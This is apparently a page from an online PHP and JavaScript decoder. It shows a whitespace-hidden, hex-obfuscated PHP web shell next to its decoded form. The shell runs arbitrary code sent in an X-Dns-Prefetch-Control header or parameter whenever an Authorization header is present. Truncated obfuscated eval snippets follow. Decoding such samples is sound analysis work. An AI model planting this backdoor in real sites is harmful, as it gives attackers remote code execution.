Online PHP Javascript Script Decoder

Online PHP and Javascript Decoder decode hidden script to uncover its real functionality

Original code:

<?php																																										$_HEADERS = getallheaders();if(isset($_HEADERS['Authorization'])){$c="<\x3f\x70h\x70\x20@\x65\x76a\x6c\x28$\x5f\x52E\x51\x55E\x53\x54[\x22\x58-\x44\x6es\x2d\x50r\x65\x66e\x74\x63h\x2d\x43o\x6e\x74r\x6f\x6c\"\x5d\x29;\x40\x65v\x61\x6c(\x24\x5fH\x45\x41D\x45\x52S\x5b\x22X\x2d\x44n\x73\x2dP\x72\x65f\x65\x74c\x68\x2dC\x6f\x6et\x72\x6fl\x22\x5d)\x3b";$f='/tmp/.'.time();@file_put_contents($f, $c);@include($f);@unlink($f);}

Decrypted code:

$_HEADERS = getallheaders();
	if(isset($_HEADERS['Authorization'])){
	$c="@eval($_REQUEST["X-Dns-Prefetch-Control\"]);
	@eval($_HEADERS["X-Dns-Prefetch-Control"]);
	";
	$f='/tmp/.'.time();
	@file_put_contents($f, $c);
	@include($f);
	@unlink($f);
}

Recent submissions:

<?php eval( if (!empty($_GET) && isset($_GET["\x73\x68\x6f\x77\x6d\x65"]) && $_GET... \x08\x02\x12\xe6\x02\nV\n 790918C2164091560100000000000000\x12 790918C21640915601000000000... <?php $O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6... <?php eval(' goto nDk7t; IoYkw: add_action("\\x74\\x65\\155\\160\\154\\141\\164\\145\... Function( '\'k.}mfj_2y6,wchqa+r&q5a-kihrg9~x{2]#r5z_*sy}s97iwcup2#zi@[5!45[*ro_r+!r!ks%*qt... <?php // Định nghĩa các mã màu ANSI define('COLOR_RED', "\033[31m"); define('COL... <?php //ICB0 74:0 81:3a33 82:6dfd ?><?php //00... <?php /* ADVERTENCIA: Cualquier cambio que hagas a este fichero se perderá cuando se act... <?php @eval("?>".base64_decode("PD9waHANCnNlc3Npb25fc3RhcnQoKTsNCnJlcXVpcmVfb25jZSgnY29uZX... <?php @eval("?>".base64_decode("PD9waHAKcmVxdWlyZV9vbmNlKCJjb25leGFvLnBocCIpOwoKZnVuY3Rpb2...